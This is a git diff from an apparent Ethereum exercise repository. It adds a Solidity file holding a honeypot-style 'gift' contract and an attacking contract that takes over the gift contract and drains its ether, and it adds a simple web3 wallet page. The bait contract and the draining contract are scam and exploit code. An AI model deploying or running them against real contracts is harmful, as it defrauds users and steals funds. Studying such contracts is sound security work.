diff --git a/Honeypot.sol b/Honeypot.sol new file mode 100644 index 0000000..aaeb436 --- /dev/null +++ b/Honeypot.sol @@ -0,0 +1,92 @@ +pragma solidity ^0.4.19; + +contract NEW_YEARS_GIFT +{ + string public message; + + bool public passHasBeenSet = false; + + address sender; + + bytes32 public hashPass; + + function() public payable{} + + function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);} + + function SetPass(bytes32 hash) + public + payable + { + if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 ) + { + hashPass = hash; + sender = msg.sender; + } + } + + function SetMessage(string _message) + public + { + if(msg.sender==sender) + { + message =_message; + } + } + + function GetGift(bytes pass) + external + payable + returns (string) + { + if(hashPass == sha3(pass)) + { + msg.sender.transfer(this.balance); + return message; + } + } + + function Revoce() + public + payable + { + if(msg.sender==sender) + { + sender.transfer(this.balance); + message=""; + } + } + + function PassHasBeenSet(bytes32 hash) + public + { + if(msg.sender==sender&&hash==hashPass) + { + passHasBeenSet=true; + } + } +} + +contract Honeypot +{ + NEW_YEARS_GIFT public c; + uint256 public bal; + + function() public payable{} + + function setAddress(address _a) public { + c = NEW_YEARS_GIFT(_a); + } + + + function setPass(bytes32 _hash) public payable{ + c.SetPass.value(1.01 ether)(_hash); + c.PassHasBeenSet(_hash); + } + + function getPaid(address _a) public { + c.Revoce(); + bal = this.balance; + _a.transfer(this.balance); + } +} diff --git a/README.md b/README.md deleted file mode 100644 index dadbc8a..0000000 --- a/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# quest-ether - -1. do not lose access to your wallets -1. record down the prices and transactions costs for all transactions made -1. download https://token.im/download to your mobile -1. create ethereum wallet -1. do a pull request with your wallet address -1. receive eth -1. create ethereum wallet at https://www.myetherwallet.com/ -1. transfer the eth to your wallet created from myetherwallet with a message in the data field -1. download https://metamask.io/ -1. create ethereum wallet -1. send eth/import account to your metamask account -1. buy some MET from https://idex.market/ -1. buy some ZRX from https://radarrelay.com/ -1. on rinkeby, send a 0 eth transaction to `0x907B98479a589abAFC72926837B726B0D3582C3F` to receive 1,000 DEF tokens -1. DEF token has 13 decimals -1. the transfer function for DEF is `transfer(address,uint256)` -1. using web3 on rinkeby, try transferring tokens and eth -1. using web3 on mainnet, transfer all tokens and eth to my address `0xea9568670a5fE44D42e76386d208165c25A320f7` -1. do a pull request with your web3 code -1. do a pull request with your record of prices and transactions costs diff --git a/my-eth-wallet/package.json b/my-eth-wallet/package.json new file mode 100644 index 0000000..348642c --- /dev/null +++ b/my-eth-wallet/package.json @@ -0,0 +1,15 @@ +{ + "name": "vue-template", + "version": "1.0.0", + "description": "", + "main": "serve.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", + "dependencies": { + "express": "^4.16.3", + "web3": "^0.20.7" + } +} diff --git a/my-eth-wallet/public/index.html b/my-eth-wallet/public/index.html new file mode 100644 index 0000000..43bf1ad --- /dev/null +++ b/my-eth-wallet/public/index.html @@ -0,0 +1,216 @@ + + + + Welcome to Vue + + + +
+

{{ greeting }}

+
+
+ address: + +

balance is: {{ balance }}

+ +
+
+  
+

Send Ether

+ To Address: + + + nonce: + + + data: + + + gas Price: + + + gas Limit: + + + value: + + +

txn id: {{ txnId }}

+ +
+
+ +
+    
+

Contract call

+ Contract Address: + + + Contract Abi: + + + arg1: + + + arg1: + + + gas Price: + + + gas Limit: + + + value: + + +

txn id / Result : {{ txnId }}

+ + + DEF balance: + + + +
+
+ + + + + + diff --git a/my-eth-wallet/serve.js b/my-eth-wallet/serve.js new file mode 100644 index 0000000..4c8a571 --- /dev/null +++ b/my-eth-wallet/serve.js @@ -0,0 +1,9 @@ +var express = require('express'); +var app = express(); + +//setting middleware +app.use(express.static(__dirname+'/public')); //Serves resources from public folder + +var server = app.listen(5000); + +console.log('http://localhost:5000');